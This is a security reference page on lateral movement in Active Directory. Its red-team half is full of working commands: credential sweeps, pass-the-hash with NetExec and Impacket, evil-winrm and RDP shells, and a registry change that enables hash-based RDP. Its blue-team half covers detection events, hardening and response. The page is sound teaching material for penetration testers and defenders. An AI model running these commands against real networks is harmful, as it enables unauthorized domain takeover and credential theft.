Lateral Movement
Lateral movement is moving from a compromised machine to another one inside the domain. In Active Directory you almost never need an exploit: with valid credentials (password, NT hash or Kerberos ticket) and a remote administration protocol (SMB, WMI, DCOM, WinRM, RDP), Windows lets you run code on another machine because that’s what it’s designed for. What makes it effective is reuse: the same local admin password on many machines, or domain admins who log on to user workstations and leave their credentials in memory.
flowchart LR
A["Machine A<br/>local admin"] -->|"credential dumping"| C{"New hash /<br/>ticket"}
C -->|"where is it admin?<br/>nxc smb range"| B["Machine B"]
B -->|"psexec / wmiexec / WinRM"| B2["Shell on B"]
B2 -->|"dump: a DA's session"| D["Domain Admin<br/>credentials"]
D --> DC["Domain controller"]
Threat model
Section titled “Threat model”AD is built for centralized administration: running commands on another machine with an account that’s an administrator there is functionality, not a bug. The attacker inherits that capability. The underlying problem is credential reuse, the lack of segmentation between machines of the same tier, and privileged accounts logging on where they shouldn’t.
Anatomy
Section titled “Anatomy”Which credential works for what
Section titled “Which credential works for what”| Credential | Authentication protocol | Typical use |
|---|---|---|
| Password | NTLM or Kerberos | Everything |
| NT hash | NTLM (pass-the-hash) or Kerberos after requesting a TGT (overpass-the-hash) | SMB, WMI, WinRM, RDP in Restricted Admin mode |
| AES key | Kerberos (pass-the-key) | Anything that accepts Kerberos |
| Kerberos ticket | Kerberos (pass-the-ticket) | Anything that accepts Kerberos; requires names (FQDN), not IPs |
| Certificate | PKINIT → TGT or NT hash | See AD CS and Shadow Credentials |
Why not every local admin works remotely
Section titled “Why not every local admin works remotely”UAC remote restrictions filter the token of local accounts that authenticate over the network: even if they’re in the Administrators group, they arrive without administrative privileges. There are exceptions that explain what you see in practice:
- The built-in Administrator (RID 500) isn’t filtered, unless the
FilterAdministratorTokenpolicy is enabled. - If
LocalAccountTokenFilterPolicy = 1(underHKLM\…\Policies\System), no local account is filtered. - Domain accounts that are members of the local Administrators group are not filtered.
That’s why a “regular” local admin’s hash may give [+] but not Pwn3d!, while the built-in
Administrator’s does.
Protocols and requirements
Section titled “Protocols and requirements”| Protocol | Ports | Who can | Logon type on the target |
|---|---|---|---|
| SMB + services (psexec, smbexec) | 445 | Administrators | 3 (network) |
| WMI (wmiexec) | 135 + dynamic RPC (+445 to collect output) | Administrators | 3 |
| Task Scheduler (atexec) | 445 / RPC | Administrators | 3 |
| DCOM (dcomexec) | 135 + dynamic RPC (+445 to collect output) | Administrators | 3 |
| WinRM / PowerShell Remoting | 5985 · 5986 | Administrators and Remote Management Users | 3 |
| RDP | 3389 | Administrators and Remote Desktop Users | 10 (RemoteInteractive) |
Impacket execution methods
Section titled “Impacket execution methods”| Tool | How it runs | Context | Main trace |
|---|---|---|---|
psexec.py |
Uploads a binary to ADMIN$ and creates a service |
SYSTEM | 7045, file in ADMIN$ |
smbexec.py |
Creates one service per command that launches cmd.exe |
SYSTEM | 7045 for every command |
wmiexec.py |
Win32_Process.Create over WMI; output through ADMIN$ |
The user | wmiprvse.exe → cmd.exe |
atexec.py |
A scheduled task that runs and is deleted | SYSTEM | 4698 / 4699 |
dcomexec.py |
DCOM objects (MMC20.Application, ShellWindows…) | The user | mmc.exe or explorer.exe → cmd.exe |
Variants
Section titled “Variants”| Scenario | Technique |
|---|---|
| A reused local admin NT hash | Pass-the-hash with --local-auth across the range |
| A domain account’s NT hash | Pass-the-hash or overpass-the-hash |
| NTLM restricted in the domain | Overpass-the-hash / pass-the-ticket over Kerberos |
| Only ports 5985/5986 open | WinRM (evil-winrm) |
| Only RDP | RDP with a password, or with a hash if Restricted Admin is on |
| You need to reach a third machine from a WinRM session | The double-hop problem: use a ticket or explicit credentials |
Red Team
Section titled “Red Team”Where is the account an administrator?
Section titled “Where is the account an administrator?”nxc smb 10.10.10.0/24 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --local-authnxc smb 10.10.10.0/24 -u jdoe -p 'Passw0rd!' # domain accountnxc winrm 10.10.10.0/24 -u jdoe -p 'Passw0rd!'nxc rdp 10.10.10.0/24 -u jdoe -p 'Passw0rd!'SMB 10.10.10.21 445 WS021 [+] WS021\Administrator:8846f7… (Pwn3d!)SMB 10.10.10.35 445 SRV-APP [+] SRV-APP\Administrator:8846f7…Pwn3d! means the account is an administrator and the token arrives unfiltered: you can run
commands. A [+] without Pwn3d! only confirms the credential is valid.
Running commands
Section titled “Running commands”NetExec can run commands directly (-x for cmd, -X for PowerShell) choosing the method:
nxc smb 10.10.10.21 -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c --local-auth -x whoami --exec-method wmiexecFor a shell, the Impacket tools:
wmiexec.py -hashes :8846f7eaee8fb117ad06bdd830b7586c ./Administrator@10.10.10.21 # ./ = local accountpsexec.py corp.local/jdoe:'Passw0rd!'@srv-app.corp.local# With Kerberos (ticket in KRB5CCNAME): FQDN, never an IPpsexec.py -k -no-pass corp.local/svc-sql@srv-app.corp.localChoose the method based on what’s in front of you: wmiexec doesn’t create services or drop
binaries; psexec gives SYSTEM but is the noisiest; atexec works when SMB does but you don’t want
to create services.
evil-winrm -i srv-app.corp.local -u jdoe -p 'Passw0rd!'evil-winrm -i srv-app.corp.local -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586cNatively from Windows:
Enter-PSSession -ComputerName srv-app.corp.localInvoke-Command -ComputerName srv-app,srv-db -ScriptBlock { hostname; whoami }With a password, any client. With a hash, only if the target has Restricted Admin enabled
(DisableRestrictedAdmin = 0); with local admin you can enable it yourself:
nxc smb srv-app.corp.local -u Administrator -H 8846f7… --local-auth \ -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f'xfreerdp3 /v:srv-app.corp.local /u:Administrator /pth:8846f7eaee8fb117ad06bdd830b7586c /cert:ignoreRDP is interactive and very visible (the logged-on user may be kicked out): use it when you need a graphical session.
Methodology
Section titled “Methodology”- Dump credentials on the current machine: hashes, tickets, cleartext passwords.
- With each new credential, sweep the range: where does it give
Pwn3d!? - In BloodHound, find sessions of privileged accounts (
HasSession) and the machines where your account is admin (AdminTo) to go straight to what matters. - Run commands with the quietest method that works, dump again and repeat.
- NetExec (card): credential sweeps and execution over SMB, WinRM, WMI, RDP and MSSQL.
- Impacket (card):
psexec,smbexec,wmiexec,atexec,dcomexec. - evil-winrm: WinRM shell with password, hash, ticket or certificate.
- xfreerdp3: RDP with pass-the-hash in Restricted Admin mode.
- Rubeus and mimikatz on Windows for overpass-the-hash and pass-the-ticket.
- BloodHound: where each account is admin and where there are privileged sessions.
Impact and chaining
Section titled “Impact and chaining”This is what turns one compromised machine into the whole domain: every hop gives access to another machine’s memory and, with it, to the credentials of whoever logged on there. It chains with credential dumping, Kerberos, NTLM relay and, if the local admin password came from a GPO, GPP.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”- psexec / smbexec: 7045 (service installed) with random names or binaries in
ADMIN$;services.exe→cmd.exe. - wmiexec:
wmiprvse.exe→cmd.exe /Q /c … 1> \\127.0.0.1\ADMIN$\…; WMI-Activity events 5857–5861. - atexec: 4698 and 4699 (task created and deleted) within seconds.
- WinRM:
wsmprovhost.exeas parent; PowerShell 4103/4104 (Script Block Logging). - RDP: 4624 type 10; changes to
DisableRestrictedAdminin the registry (Sysmon 13). - General pattern: 4624 type 3 from the same account against many machines in a short time;
4624 type 9 (
seclogo) on the source aftersekurlsa::pthorrunas /netonly; NTLM authentication from accounts that normally use Kerberos.
Telemetry and sources
Section titled “Telemetry and sources”Events 4624/4625/4648/4672, 5140/5145 (access to ADMIN$ and C$), 7045 and 4697 (services),
4698/4699 (tasks), Sysmon 1, 3 and 13, WinRM and WMI logs, and EDR. Correlate “one account, many
destinations” and “one source, many methods”.
Hardening
Section titled “Hardening”- Windows LAPS: a unique, rotated local admin password per machine. It ends mass pass-the-hash.
- Deny network logon to local accounts: the Deny access to this computer from the network policy
for SID S-1-5-113 (Local account) and
LocalAccountTokenFilterPolicy = 0. - Tiering model and dedicated admin workstations (PAWs): a domain admin never logs on to a user workstation.
- Host firewall: block SMB, RPC, WinRM and RDP between workstations; allow them only from admin machines.
- RDP with Remote Credential Guard or controlled Restricted Admin; WinRM only where needed, with JEA.
- Protected Users and Credential Guard so stolen material is worth less.
- Mandatory SMB signing (it stops NTLM relay, another way to hop).
Response
Section titled “Response”Rebuild the chain of hops (same account and same source), isolate the touched machines, rotate the reused credentials (local admin with LAPS, compromised domain accounts) and hunt for the persistence left at each hop.
CVEs and real cases
Section titled “CVEs and real cases”- NotPetya (2017): spread by combining credential theft with a version of mimikatz and remote execution with PsExec and WMI, alongside EternalBlue. It’s the reference case for massive damage through credential-based lateral movement.
- PrintNightmare (CVE-2021-34527, 2021): with any domain account, the Print Spooler service let you load a remote DLL as SYSTEM on machines and DCs running it.
- Leaked Conti playbook (2021): described routine use of PsExec, WMI, RDP and credential dumping tools to reach the DC.
- Pass-the-hash and remote execution with Impacket and NetExec appear in most ransomware incident response reports (MITRE T1021, T1550.002, T1570).
More on NVD (https://nvd.nist.gov/vuln/search) and MITRE ATT&CK (https://attack.mitre.org/tactics/TA0008/).
Testing checklist
Section titled “Testing checklist”- Credentials on the current machine dumped (hashes, tickets, AES keys).
- Lockout policy checked before sweeping with domain accounts.
- Local admin (
--local-auth) and domain sweeps: where is itPwn3d!? - WinRM and RDP checked as well as SMB.
- Execution method chosen by noise (wmiexec before psexec).
- Kerberos used where NTLM is restricted (FQDN, synced clock).
- Privileged account sessions located in BloodHound.
- Changes made (Restricted Admin, services, tasks) reverted and documented.